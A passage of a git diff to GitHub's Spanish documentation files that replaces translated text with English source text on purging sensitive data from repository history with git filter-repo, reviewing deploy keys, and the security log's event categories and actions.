pero no revise, todo el historial de cada rama y etiqueta - - Eliminar el archivo especificado y cualquier confirmación vacía generada como resultado - - Elimina algunas configuraciones, tales como la URL remota almacenada en el archivo *.git/config*. Podrías necesitar respaldar este archivo con anticipación para restaurarlo posteriormente. - - **Sobrescribir tus etiquetas existentes** +4. Run the following command, replacing `PATH-TO-YOUR-FILE-WITH-SENSITIVE-DATA` with the **path to the file you want to remove, not just its filename**. These arguments will: + - Force Git to process, but not check out, the entire history of every branch and tag + - Remove the specified file, as well as any empty commits generated as a result + - Remove some configurations, such as the remote URL, stored in the *.git/config* file. You may want to back up this file in advance for restoration later. + - **Overwrite your existing tags** ```shell $ git filter-repo --invert-paths --path PATH-TO-YOUR-FILE-WITH-SENSITIVE-DATA Parsed 197 commits @@ -111,11 +110,11 @@ Para ilustrar cómo funciona `git filter-repo`, te mostraremos cómo eliminar tu {% note %} - **Nota:** Si se utilizó el archivo con datos confidenciales para que existiera en cualquier otra ruta (porque se movió o se renombró), debes ejecutar este comando en esas rutas también. + **Note:** If the file with sensitive data used to exist at any other paths (because it was moved or renamed), you must run this command on those paths, as well. {% endnote %} -5. Agrega tu archivo con datos confidenciales a `.gitignore` para asegurar que no lo volviste a confirmar por accidente. +5. Add your file with sensitive data to `.gitignore` to ensure that you don't accidentally commit it again. ```shell $ echo "YOUR-FILE-WITH-SENSITIVE-DATA" >> .gitignore @@ -124,8 +123,8 @@ Para ilustrar cómo funciona `git filter-repo`, te mostraremos cómo eliminar tu > [main 051452f] Add YOUR-FILE-WITH-SENSITIVE-DATA to .gitignore > 1 files changed, 1 insertions(+), 0 deletions(-) ``` -6. Comprueba que hayas eliminado todo lo que querías del historial de tu repositorio y que todas tus ramas estén revisadas. -7. Once you're happy with the state of your repository, force-push your local changes to overwrite your repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}, as well as all the branches you've pushed up: +6. Double-check that you've removed everything you wanted to from your repository's history, and that all of your branches are checked out. +7. Once you're happy with the state of your repository, force-push your local changes to overwrite your repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}, as well as all the branches you've pushed up. A force push is required to remove sensitive data from your commit history. ```shell $ git push origin --force --all > Counting objects: 1074, done. @@ -136,11 +135,11 @@ Para ilustrar cómo funciona `git filter-repo`, te mostraremos cómo eliminar tu > To https://{% data variables.command_line.codeblock %}/YOUR-USERNAME/YOUR-REPOSITORY.git > + 48dc599...051452f main -> main (forced update) ``` -8. Para eliminar el archivo confidencial de [tus lanzamientos etiquetados](/articles/about-releases), también deberás realizar un empuje forzado contra tus etiquetas de Git: +8. In order to remove the sensitive file from [your tagged releases](/articles/about-releases), you'll also need to force-push against your Git tags: ```shell $ git push origin --force --tags > Counting objects: 321, done. - > Delta compression using up to 4 threads. + > Delta compression using up to 8 threads. > Compressing objects: 100% (166/166), done. > Writing objects: 100% (321/321), 331.74 KiB | 0 bytes/s, done. > Total 321 (delta 124), reused 269 (delta 108) @@ -148,15 +147,15 @@ Para ilustrar cómo funciona `git filter-repo`, te mostraremos cómo eliminar tu > + 48dc599...051452f main -> main (forced update) ``` -## Eliminar los datos de {% data variables.product.prodname_dotcom %} por completo +## Fully removing the data from {% data variables.product.prodname_dotcom %} -Después de utilizar ya sea la herramienta de BFG o `git filter-repo` para eliminar los datos sensibles y subir tus cambios a {% data variables.product.product_name %}, debes tomar algunos pasos adicionales para eliminar los datos de {% data variables.product.product_name %} completamente. +After using either the BFG tool or `git filter-repo` to remove the sensitive data and pushing your changes to {% data variables.product.product_name %}, you must take a few more steps to fully remove the data from {% data variables.product.product_name %}. -1. Contáctate con {% data variables.contact.contact_support %} y pregúntale cómo eliminar visualizaciones cacheadas y referencias a los datos confidenciales en las solicitudes de extracción en {% data variables.product.product_name %}. Por favor, proporciona el nombre del repositorio o un enlace a la confirmación que necesitas eliminar. +1. Contact {% data variables.contact.contact_support %}, asking them to remove cached views and references to the sensitive data in pull requests on {% data variables.product.product_name %}. Please provide the name of the repository and/or a link to the commit you need removed. -2. Pídeles a tus colaboradores que [rebasen](https://git-scm.com/book/en/Git-Branching-Rebasing), *no* fusionen, cualquier rama que hayan creado fuera del historial de tu repositorio antiguo (contaminado). Una confirmación de fusión podría volver a introducir algo o todo el historial contaminado sobre el que acabas de tomarte el trabajo de purgar. +2. Tell your collaborators to [rebase](https://git-scm.com/book/en/Git-Branching-Rebasing), *not* merge, any branches they created off of your old (tainted) repository history. One merge commit could reintroduce some or all of the tainted history that you just went to the trouble of purging. -3. Después de que haya transcurrido un tiempo y estés seguro de que la herramienta BFG / `git filter-repo` no tuvo efectos secundarios inesperados, puedes forzar a todos los objetos de tu repositorio local a desreferenciarse y recolectar la basura con los siguientes comandos (usando Git 1.8.5 o posterior): +3. After some time has passed and you're confident that the BFG tool / `git filter-repo` had no unintended side effects, you can force all objects in your local repository to be dereferenced and garbage collected with the following commands (using Git 1.8.5 or newer): ```shell $ git for-each-ref --format="delete %(refname)" refs/original | git update-ref --stdin $ git reflog expire --expire=now --all @@ -169,21 +168,21 @@ Después de utilizar ya sea la herramienta de BFG o `git filter-repo` para elimi ``` {% note %} - **Nota:** También puedes lograrlo subiendo tu historial filtrado a un repositorio nuevo o vacío para después hacer un nuevo clon desde {% data variables.product.product_name %}. + **Note:** You can also achieve this by pushing your filtered history to a new or empty repository and then making a fresh clone from {% data variables.product.product_name %}. {% endnote %} -## Evitar confirmaciones accidentales en el futuro +## Avoiding accidental commits in the future -Existen algunos trucos sencillos para evitar confirmar cosas que no quieres confirmar: +There are a few simple tricks to avoid committing things you don't want committed: -- Utiliza un programa visual como [{% data variables.product.prodname_desktop %}](https://desktop.github.com/) o [gitk](https://git-scm.com/docs/gitk) para confirmar los cambios. Los programas visuales suelen hacer que sea más sencillo ver exactamente qué archivos se agregarán, eliminarán y modificarán con cada confirmación. -- Evita los comandos para atrapar todo `git add .` y `git commit -a` de la línea de comando —en su lugar, utiliza `git add filename` y `git rm filename` para ordenar por etapas los archivos. -- Utiliza `git add --interactive` para revisar por separado y preparar los cambios de cada archivo. -- Utiliza `git diff --cached` para revisar los cambios que hayas preparado para la confirmación. Esta es la diferencia exacta que `git commit` generará siempre que no utilices la marca `-a`. +- Use a visual program like [{% data variables.product.prodname_desktop %}](https://desktop.github.com/) or [gitk](https://git-scm.com/docs/gitk) to commit changes. Visual programs generally make it easier to see exactly which files will be added, deleted, and modified with each commit. +- Avoid the catch-all commands `git add .` and `git commit -a` on the command line—use `git add filename` and `git rm filename` to individually stage files, instead. +- Use `git add --interactive` to individually review and stage changes within each file. +- Use `git diff --cached` to review the changes that you have staged for commit. This is the exact diff that `git commit` will produce as long as you don't use the `-a` flag. -## Leer más +## Further reading -- [página man de `git filter-repo`](https://htmlpreview.github.io/?https://github.com/newren/git-filter-repo/blob/docs/html/git-filter-repo.html) -- [Pro Git: Herramientas de Git - Rescribir historial](https://git-scm.com/book/en/Git-Tools-Rewriting-History) -- "[Acerca del escaneo de secretos](/code-security/secret-security/about-secret-scanning)" +- [`git filter-repo` man page](https://htmlpreview.github.io/?https://github.com/newren/git-filter-repo/blob/docs/html/git-filter-repo.html) +- [Pro Git: Git Tools - Rewriting History](https://git-scm.com/book/en/Git-Tools-Rewriting-History) +- "[About Secret scanning](/code-security/secret-security/about-secret-scanning)" diff --git a/translations/es-ES/content/authentication/keeping-your-account-and-data-secure/reviewing-your-deploy-keys.md b/translations/es-ES/content/authentication/keeping-your-account-and-data-secure/reviewing-your-deploy-keys.md index 26a5295935..b3629bba82 100644 --- a/translations/es-ES/content/authentication/keeping-your-account-and-data-secure/reviewing-your-deploy-keys.md +++ b/translations/es-ES/content/authentication/keeping-your-account-and-data-secure/reviewing-your-deploy-keys.md @@ -1,6 +1,6 @@ --- -title: Revisar tus llaves de implementación -intro: Debes revisar tus llaves de implementación para garantizar que no haya ninguna llave sin autorización (o posiblemente comprometida). También puedes aprobar llaves de implementación existentes que sean válidas. +title: Reviewing your deploy keys +intro: You should review deploy keys to ensure that there aren't any unauthorized (or possibly compromised) keys. You can also approve existing deploy keys that are valid. redirect_from: - /articles/reviewing-your-deploy-keys - /github/authenticating-to-github/reviewing-your-deploy-keys @@ -13,12 +13,16 @@ versions: topics: - Identity - Access management -shortTitle: Llaves de implementación +shortTitle: Deploy keys --- - {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} -3. En la barra lateral izquierda, haz clic en **Deploy keys** (Llaves de implementación). ![Parámetro de llaves de implementación](/assets/images/help/settings/settings-sidebar-deploy-keys.png) -4. En la página de Llaves de implementación, anota las llaves de implementación asociadas a tu cuenta. Para las que no reconozcas o que estén desactualizadas, haz clic en **Delete** (Eliminar). Si hay llaves de implementación válidas que quieres conservar, haz clic en **Approve** (Aprobar). ![Lista de llaves de implementación](/assets/images/help/settings/settings-deploy-key-review.png) +3. In the left sidebar, click **Deploy keys**. +![Deploy keys setting](/assets/images/help/settings/settings-sidebar-deploy-keys.png) +4. On the Deploy keys page, take note of the deploy keys associated with your account. For those that you don't recognize, or that are out-of-date, click **Delete**. If there are valid deploy keys you'd like to keep, click **Approve**. + ![Deploy key list](/assets/images/help/settings/settings-deploy-key-review.png) -Para obtener más información, consulta la sección "[Administrar las llaves de despliegue](/guides/managing-deploy-keys)". +For more information, see "[Managing deploy keys](/guides/managing-deploy-keys)." + +## Further reading +- [Configuring notifications](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications#organization-alerts-notification-options) diff --git a/translations/es-ES/content/authentication/keeping-your-account-and-data-secure/reviewing-your-security-log.md b/translations/es-ES/content/authentication/keeping-your-account-and-data-secure/reviewing-your-security-log.md index 7fefd8cda4..b632cac631 100644 --- a/translations/es-ES/content/authentication/keeping-your-account-and-data-secure/reviewing-your-security-log.md +++ b/translations/es-ES/content/authentication/keeping-your-account-and-data-secure/reviewing-your-security-log.md @@ -1,6 +1,6 @@ --- -title: Revisar tu registro de seguridad -intro: 'Puedes revisar el registro de seguridad de tu cuenta de usuario para entender mejor las acciones que has realizado y las que otros han realizado, las cuales te involucran.' +title: Reviewing your security log +intro: You can review the security log for your user account to better understand actions you've performed and actions others have performed that involve you. miniTocMaxHeadingLevel: 3 redirect_from: - /articles/reviewing-your-security-log @@ -14,258 +14,263 @@ versions: topics: - Identity - Access management -shortTitle: Registro de seguridad +shortTitle: Security log --- +## Accessing your security log -## Acceder a tu registro de seguridad - -La bitácora de seguridad lista todas las acciones que se llevaron a cabo en los últimos 90 días. +The security log lists all actions performed within the last 90 days. {% data reusables.user_settings.access_settings %} {% ifversion fpt or ghae or ghes or ghec %} -2. En la barra lateral de la configuración de usuario, da clic en **Registro de Seguridad**. ![Pestaña de registro de seguridad](/assets/images/help/settings/audit-log-tab.png) +2. In the user settings sidebar, click **Security log**. + ![Security log tab](/assets/images/help/settings/audit-log-tab.png) {% else %} {% data reusables.user_settings.security %} -3. En "Security history" (Historial de seguridad) se muestra tu registro. ![Registro de seguridad](/assets/images/help/settings/user_security_log.png) -4. Haz clic en la entrada para ver más información acerca del evento. ![Registro de seguridad](/assets/images/help/settings/user_security_history_action.png) +3. Under "Security history," your log is displayed. + ![Security log](/assets/images/help/settings/user_security_log.png) +4. Click on an entry to see more information about the event. + ![Security log](/assets/images/help/settings/user_security_history_action.png) {% endif %} {% ifversion fpt or ghae or ghes or ghec %} -## Buscar tu registro de seguridad +## Searching your security log {% data reusables.audit_log.audit-log-search %} -### Búsqueda basada en la acción realizada +### Search based on the action performed {% else %} -## Entender los eventos en tu registro de seguridad +## Understanding events in your security log {% endif %} -Tus acciones activan los eventos que se listan en tu bitácora de seguridad. Las acciones se agrupan en las siguientes categorías: +The events listed in your security log are triggered by your actions. Actions are grouped into the following categories: -| Nombre de la categoría | Descripción | -| -------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |{% ifversion fpt or ghec %} -| [`account_recovery_token`](#account_recovery_token-category-actions) | Contiene todas las actividades relacionadas con [agregar un token de recuperación](/articles/configuring-two-factor-authentication-recovery-methods). | -| [`facturación`](#billing-category-actions) | Contiene todas las actividades relacionadas con tu información de facturación. | -| [`codespaces`](#codespaces-category-actions) | Contiene todas las actividades relacionadas con los {% data variables.product.prodname_codespaces %}. Para obtener más información, consulta la sección "[Acerca de {% data variables.product.prodname_codespaces %}](/github/developing-online-with-codespaces/about-codespaces)". | -| [`marketplace_agreement_signature`](#marketplace_agreement_signature-category-actions) | Contiene todas las actividades relacionadas con la firma del Acuerdo del programador de {% data variables.product.prodname_marketplace %}. | -| [`marketplace_listing`](#marketplace_listing-category-actions) | Contiene todas las actividades relacionadas con el listado de aplicaciones en {% data variables.product.prodname_marketplace %}.{% endif %} -| [`oauth_access`](#oauth_access-category-actions) | Contiene todas las actividades relacionadas con las [{% data variables.product.prodname_oauth_apps %}](/github/authenticating-to-github/keeping-your-account-and-data-secure/authorizing-oauth-apps) con las que te hayas conectado.{% ifversion fpt or ghec %} -| [`payment_method`](#payment_method-category-actions) | Contiene todas las actividades relacionadas con el pago de tu suscripción de {% data variables.product.prodname_dotcom %}.{% endif %} -| [`profile_picture`](#profile_picture-category-actions) | Contiene todas las actividades relacionadas con tu foto de perfil. | -| [`project`](#project-category-actions) | Contiene todas las actividades relacionadas con los tableros de proyecto. | -| [`public_key`](#public_key-category-actions) | Contiene todas las actividades relacionadas con [tus claves SSH públicas](/articles/adding-a-new-ssh-key-to-your-github-account). | -| [`repo`](#repo-category-actions) | Contiene todas las actividades relacionadas con los repositorios que te pertenecen.{% ifversion fpt or ghec %} -| [`sponsors`](#sponsors-category-actions) | Contiene todos los eventos relacionados con {% data variables.product.prodname_sponsors %} y los botones de patrocinio (consulta las secciones "[Acerca de {% data variables.product.prodname_sponsors %}](/sponsors/getting-started-with-github-sponsors/about-github-sponsors)" y "[Mostrar el botón de patrocinio en tu repositorio](/articles/displaying-a-sponsor-button-in-your-repository)"){% endif %}{% ifversion ghes or ghae %} -| [`equipo`](#team-category-actions) | Contiene todas las actividades relacionadas con los equipos de los cuales formas parte.{% endif %}{% ifversion not ghae %} -| [`two_factor_authentication`](#two_factor_authentication-category-actions) | Contiene todas las actividades relacionadas con la [autenticación bifactorial](/articles/securing-your-account-with-two-factor-authentication-2fa).{% endif %} -| [`usuario`](#user-category-actions) | Contiene todas las actividades relacionadas con tu cuenta. | +| Category name | Description +|------------------|-------------------{% ifversion fpt or ghec %} +| [`account_recovery_token`](#account_recovery_token-category-actions) | Contains all activities related to [adding a recovery token](/articles/configuring-two-factor-authentication-recovery-methods). +| [`billing`](#billing-category-actions) | Contains all activities related to your billing information. +| [`codespaces`](#codespaces-category-actions) | Contains all activities related to {% data variables.product.prodname_codespaces %}. For more information, see "[About {% data variables.product.prodname_codespaces %}](/github/developing-online-with-codespaces/about-codespaces)." +| [`marketplace_agreement_signature`](#marketplace_agreement_signature-category-actions) | Contains all activities related to signing the {% data variables.product.prodname_marketplace %} Developer Agreement. +| [`marketplace_listing`](#marketplace_listing-category-actions) | Contains all activities related to listing apps in {% data variables.product.prodname_marketplace %}.{% endif %} +| [`oauth_access`](#oauth_access-category-actions) | Contains all activities related to [{% data variables.product.prodname_oauth_apps %}](/github/authenticating-to-github/keeping-your-account-and-data-secure/authorizing-oauth-apps) you've connected with.{% ifversion fpt or ghec %} +| [`payment_method`](#payment_method-category-actions) | Contains all activities related to paying for your {% data variables.product.prodname_dotcom %} subscription.{% endif %} +| [`profile_picture`](#profile_picture-category-actions) | Contains all activities related to your profile picture. +| [`project`](#project-category-actions) | Contains all activities related to project boards. +| [`public_key`](#public_key-category-actions) | Contains all activities related to [your public SSH keys](/articles/adding-a-new-ssh-key-to-your-github-account). +| [`repo`](#repo-category-actions) | Contains all activities related to the repositories you own.{% ifversion fpt or ghec %} +| [`sponsors`](#sponsors-category-actions) | Contains all events related to {% data variables.product.prodname_sponsors %} and sponsor buttons (see "[About {% data variables.product.prodname_sponsors %}](/sponsors/getting-started-with-github-sponsors/about-github-sponsors)" and "[Displaying a sponsor button in your repository](/articles/displaying-a-sponsor-button-in-your-repository)"){% endif %}{% ifversion ghes or ghae %} +| [`team`](#team-category-actions) | Contains all activities related to teams you are a part of.{% endif %}{% ifversion not ghae %} +| [`two_factor_authentication`](#two_factor_authentication-category-actions) | Contains all activities related to [two-factor authentication](/articles/securing-your-account-with-two-factor-authentication-2fa).{% endif %} +| [`user`](#user-category-actions) | Contains all activities related to your account. {% ifversion fpt or ghec %} -## Exportar tu registro de seguridad +## Exporting your security log {% data reusables.audit_log.export-log %} {% data reusables.audit_log.exported-log-keys-and-values %} {% endif %} -## Acciones de la bitácora de seguridad +## Security log actions -Un resumen de algunas de las acciones más frecuentes que se registran como eventos en la bitácora de seguridad. +An overview of some of the most common actions that are recorded as events in the security log. {% ifversion fpt or ghec %} -### acciones de la categoría `account_recovery_token` +### `account_recovery_token` category actions -| Acción | Descripción | -| --------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `confirm (confirmar)` | Se activa cuando almacenas [con éxito un nuevo token con un proveedor de recuperación](/articles/configuring-two-factor-authentication-recovery-methods). | -| `recover (recuperar)` | Se activa cuando canjeas [con éxito un token de recuperación de cuenta](/articles/recovering-your-account-if-you-lose-your-2fa-credentials). | -| `recover_error (error de recuperación)` | Se activa cuando se utiliza un token, pero {% data variables.product.prodname_dotcom %} no está disponible para validarlo. | +| Action | Description +|------------------|------------------- +| `confirm` | Triggered when you successfully [store a new token with a recovery provider](/articles/configuring-two-factor-authentication-recovery-methods). +| `recover` | Triggered when you successfully [redeem an account recovery token](/articles/recovering-your-account-if-you-lose-your-2fa-credentials). +| `recover_error` | Triggered when a token is used but {% data variables.product.prodname_dotcom %} is not able to validate it. -### acciones de la categoría `billing` +### `billing` category actions -| Acción | Descripción | -| --------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------- | -| `change_billing_type (cambiar tipo de facturación)` | Se activa cuando [cambias la manera de pagar](/articles/adding-or-editing-a-payment-method) para {% data variables.product.prodname_dotcom %}. | -| `change_email (cambiar correo electrónico)` | Se activa cuando [cambias tu dirección de correo electrónico](/articles/changing-your-primary-email-address). | +| Action | Description +|------------------|------------------- +| `change_billing_type` | Triggered when you [change how you pay](/articles/adding-or-editing-a-payment-method) for {% data variables.product.prodname_dotcom %}. +| `change_email` | Triggered when you [change your email address](/articles/changing-your-primary-email-address). -### acciones de la categoría `codespaces` +### `codespaces` category actions -| Acción | Descripción | -| ------------------------------------ | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `create (crear)` | Se activa cuando [creas un codespace](/github/developing-online-with-codespaces/creating-a-codespace). | -| `resume` | Se activa cuando reanudas un codespace suspendido. | -| `delete` | Se activa cuando [borras un codespace](/github/developing-online-with-codespaces/deleting-a-codespace). | -| `manage_access_and_security` | Se activa cuando actualizas [los repositorios a los que puede acceder un codespace](/github/developing-online-with-codespaces/managing-access-and-security-for-codespaces). | -| `trusted_repositories_access_update` | Se activa cuando cambias la [configuración de acceso y seguridad para los {% data variables.product.prodname_codespaces %}](/github/developing-online-with-codespaces/managing-access-and-security-for-codespaces) de tu cuenta. | +| Action | Description +|------------------|------------------- +| `create` | Triggered when you [create a codespace](/github/developing-online-with-codespaces/creating-a-codespace). +| `resume` | Triggered when you resume a suspended codespace. +| `delete` | Triggered when you [delete a codespace](/github/developing-online-with-codespaces/deleting-a-codespace). +| `manage_access_and_security` | Triggered when you update [the repositories a codespace has access to](/github/developing-online-with-codespaces/managing-access-and-security-for-codespaces). +| `trusted_repositories_access_update` | Triggered when you change your user account's [access and security setting for {% data variables.product.prodname_codespaces %}](/github/developing-online-with-codespaces/managing-access-and-security-for-codespaces). -### acciones de la categoría `marketplace_agreement_signature` +### `marketplace_agreement_signature` category actions -| Acción | Descripción | -| ---------------- | ----------------------------------------------------------------------------------------------------- | -| `create (crear)` | Se activa cuando firmas el {% data variables.product.prodname_marketplace %} Acuerdo del programador. | +| Action | Description +|------------------|------------------- +| `create` | Triggered when you sign the {% data variables.product.prodname_marketplace %} Developer Agreement. -### acciones de la categoría `marketplace_listing` +### `marketplace_listing` category actions -| Acción | Descripción | -| ----------------------------- | ------------------------------------------------------------------------------------------------------------ | -| `aprobar` | Se activa cuando se aprueba tu lista para ser incluida en {% data variables.product.prodname_marketplace %}. | -| `create (crear)` | Se activa cuando creas una lista para tu app en {% data variables.product.prodname_marketplace %}. | -| `delist (quitar de la lista)` | Se activa cuando se elimina tu lista de {% data variables.product.prodname_marketplace %}. | -| `redraft` | Se activa cuando tu lista se vuelve a colocar en estado de borrador. | -| `reject (rechazar)` | Se activa cuando no se acepta la inclusión de tu lista en {% data variables.product.prodname_marketplace %}. | +| Action | Description +|------------------|------------------- +| `approve` | Triggered when your listing is approved for inclusion in {% data variables.product.prodname_marketplace %}. +| `create` | Triggered when you create a listing for your app in {% data variables.product.prodname_marketplace %}. +| `delist` | Triggered when your listing is removed from {% data variables.product.prodname_marketplace %}. +| `redraft` | Triggered when your listing is sent back to draft state. +| `reject` | Triggered when your listing is not accepted for inclusion in {% data variables.product.prodname_marketplace %}. {% endif %} -### Acciones de la categoría `oauth_authorization` +### `oauth_authorization` category actions -| Acción | Descripción | -| -------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| `create (crear)` | Se activa cuando [obtienes acceso a una {% data variables.product.prodname_oauth_app %}](/github/authenticating-to-github/keeping-your-account-and-data-secure/authorizing-oauth-apps). | -| `destroy (destruir)` | Se activa cuando [retiras el acceso de una {% data variables.product.prodname_oauth_app %} a tu cuenta](/articles/reviewing-your-authorized-integrations){% ifversion fpt or ghae-issue-4374 or ghes > 3.2 or ghec %} y cuando[las autorizaciones se retiran o vencen](/github/authenticating-to-github/keeping-your-account-and-data-secure/token-expiration-and-revocation).{% else %}.{% endif %} +| Action | Description +|------------------|------------------- +| `create` | Triggered when you [grant access to an {% data variables.product.prodname_oauth_app %}](/github/authenticating-to-github/keeping-your-account-and-data-secure/authorizing-oauth-apps). +| `destroy` | Triggered when you [revoke an {% data variables.product.prodname_oauth_app %}'s access to your account](/articles/reviewing-your-authorized-integrations){% ifversion fpt or ghae-issue-4374 or ghes > 3.2 or ghec %} and when [authorizations are revoked or expire](/github/authenticating-to-github/keeping-your-account-and-data-secure/token-expiration-and-revocation).{% else %}.{% endif %} {% ifversion fpt or ghec %} -### acciones de la categoría `payment_method` +### `payment_method` category actions -| Acción | Descripción | -| ------------------ | ------------------------------------------------------------------------------------------------------------- | -| `clear (eliminar)` | Se activa cuando se elimina [un método de pago](/articles/removing-a-payment-method) archivado. | -| `create (crear)` | Se activa cuando se agrega un método de pago nuevo, como una tarjeta de crédito nueva o una cuenta de PayPal. | -| `actualización` | Se activa cuando se actualiza un método de pago existente. | +| Action | Description +|------------------|------------------- +| `clear` | Triggered when [a payment method](/articles/removing-a-payment-method) on file is removed. +| `create` | Triggered when a new payment method is added, such as a new credit card or PayPal account. +| `update` | Triggered when an existing payment method is updated. {% endif %} -### acciones de la categoría `profile_picture` +### `profile_picture` category actions -| Acción | Descripción | -| --------------- | ------------------------------------------------------------------------------------------------------ | -| `actualización` | Se activa cuando [estableces o actualizas tu foto de perfil](/articles/setting-your-profile-picture/). | +| Action | Description +|------------------|------------------- +| `update` | Triggered when you [set or update your profile picture](/articles/setting-your-profile-picture/). -### acciones de la categoría `project` +### `project` category actions -| Acción | Descripción | -| ------------------------ | ---------------------------------------------------------------------------------------------------------------------------- | -| `access (acceder)` | Se activa cuando se modifica la visibilidad de un tablero de proyecto. | -| `create (crear)` | Se activa cuando se crear un tablero de proyecto. | -| `rename (renombrar)` | Se activa cuando se renombra un tablero de proyecto. | -| `actualización` | Se activa cuando se actualiza un tablero de proyecto. | -| `delete` | Se activa cuando se elimina un tablero de proyecto. | -| `link` | Se activa cuando un repositorio se vincula a un tablero de proyecto. | -| `unlink (desvincular)` | Se activa cuando se anula el enlace a un repositorio desde un tablero de proyecto. | -| `update_user_permission` | Se activa cuando se agrega o elimina un colaborador externo a un tablero de proyecto o cuando se cambia su nivel de permiso. | +| Action | Description +|--------------------|--------------------- +| `access` | Triggered when a project board's visibility is changed. +| `create` | Triggered when a project board is created. +| `rename` | Triggered when a project board is renamed. +| `update` | Triggered when a project board is updated. +| `delete` | Triggered when a project board is deleted. +| `link` | Triggered when a repository is linked to a project board. +| `unlink` | Triggered when a repository is unlinked from a project board. +| `update_user_permission` | Triggered when an outside collaborator is added to or removed from a project board or has their permission level changed. -### acciones de la categoría `public_key` +### `public_key` category actions -| Acción | Descripción | -| ---------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `create (crear)` | Triggered when you [add a new public SSH key to your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}](/articles/adding-a-new-ssh-key-to-your-github-account). | -| `delete` | Triggered when you [remove a public SSH key to your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}](/articles/reviewing-your-ssh-keys). | +| Action | Description +|------------------|------------------- +| `create` | Triggered when you [add a new public SSH key to your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}](/articles/adding-a-new-ssh-key-to-your-github-account). +| `delete` | Triggered when you [remove a public SSH key to your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}](/articles/reviewing-your-ssh-keys). -### acciones de la categoría `repo` +### `repo` category actions -| Acción | Descripción | -| --------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `access (acceder)` | Se activa cuando un repositorio que te pertenece se [cambia de "privado" a "público"](/articles/making-a-private-repository-public) (o viceversa). | -| `add_member (agregar miembro)` | Se activa cuando se invita a un {% data variables.product.product_name %} usuario {% ifversion fpt or ghec %}[a tener acceso de colaboración](/articles/inviting-collaborators-to-a-personal-repository){% else %}[otorgado el acceso de colaboración](/articles/inviting-collaborators-to-a-personal-repository){% endif %} a un repositorio. | -| `add_topic (agregar tema)` | Se activa cuando un propietario del repositorio [agrega un tema](/articles/classifying-your-repository-with-topics) a un repositorio. | -| `archived (archivado)` | Se activa cuando un propietario del repositorio [archiva un repositorio](/articles/about-archiving-repositories).{% ifversion ghes %} -| `config.disable_anonymous_git_access (configurar inhabilitar el acceso de git anónimo)` | Se activa cuando [se inhabilita el acceso de lectura de Git anónimo](/enterprise/{{ currentVersion }}/user/articles/enabling-anonymous-git-read-access-for-a-repository) en un repositorio público. | -| `config.enable_anonymous_git_access (configurar habilitar acceso de git anónimo)` | Se activa cuando [se habilita el acceso de lectura de Git anónimo](/enterprise/{{ currentVersion }}/user/articles/enabling-anonymous-git-read-access-for-a-repository) en un repositorio público. | -| `config.lock_anonymous_git_access (configurar bloquear acceso de git anónimo)` | Se activa cuando se bloquea el parámetro de acceso de lectura de Git anónimo [de un repositorio](/enterprise/{{ currentVersion }}/admin/guides/user-management/preventing-users-from-changing-anonymous-git-read-access). | -| `config.unlock_anonymous_git_access (configurar desbloquear acceso de git anónimo)` | Se activa cuando se desbloquea el parámetro de acceso de lectura de Git anónimo [de un repositorio](/enterprise/{{ currentVersion }}/admin/guides/user-management/preventing-users-from-changing-anonymous-git-read-access).{% endif %} -| `create (crear)` | Se activa cuando [se crea un repositorio nuevo](/articles/creating-a-new-repository). | -| `destroy (destruir)` | Se activa cuando [se elimina un repositorio](/articles/deleting-a-repository).{% ifversion fpt or ghec %} -| `inhabilitar` | Se activa cuando se inhabilita un repositorio (p. ej., por [fondos insuficientes](/articles/unlocking-a-locked-account)).{% endif %}{% ifversion fpt or ghec %} -| `habilitar` | Se activa cuando se vuelve a habilitar un repositorio.{% endif %} -| `remove_member (eliminar miembro)` | Se activa cuando se elimina {% data variables.product.product_name %} un usuario [de un repositorio como colaborador](/articles/removing-a-collaborator-from-a-personal-repository). | -| `remove_topic (eliminar tema)` | Se activa cuando un propietario del repositorio elimina un tema de un repositorio. | -| `rename (renombrar)` | Se activa cuando [se renombra un repositorio](/articles/renaming-a-repository). | -| `transferencia` | Se activa cuando [se transfiere un repositorio](/articles/how-to-transfer-a-repository). | -| `transfer_start (comienzo de transferencia)` | Se activa cuando está por ocurrir una transferencia de repositorio. | -| `unarchived (desarchivado)` | Se activa cuando un administrador del repositorio desarchiva un repositorio. | +| Action | Description +|------------------|------------------- +| `access` | Triggered when you a repository you own is [switched from "private" to "public"](/articles/making-a-private-repository-public) (or vice versa). +| `add_member` | Triggered when a {% data variables.product.product_name %} user is {% ifversion fpt or ghec %}[invited to have collaboration access](/articles/inviting-collaborators-to-a-personal-repository){% else %}[given collaboration access](/articles/inviting-collaborators-to-a-personal-repository){% endif %} to a repository. +| `add_topic` | Triggered when a repository owner [adds a topic](/articles/classifying-your-repository-with-topics) to a repository. +| `archived` | Triggered when a repository owner [archives a repository](/articles/about-archiving-repositories).{% ifversion ghes %} +| `config.disable_anonymous_git_access` | Triggered when [anonymous Git read access is disabled](/enterprise/{{ currentVersion }}/user/articles/enabling-anonymous-git-read-access-for-a-repository) in a public repository. +| `config.enable_anonymous_git_access` | Triggered when [anonymous Git read access is enabled](/enterprise/{{ currentVersion }}/user/articles/enabling-anonymous-git-read-access-for-a-repository) in a public repository. +| `config.lock_anonymous_git_access` | Triggered when a repository's [anonymous Git read access setting is locked](/enterprise/{{ currentVersion 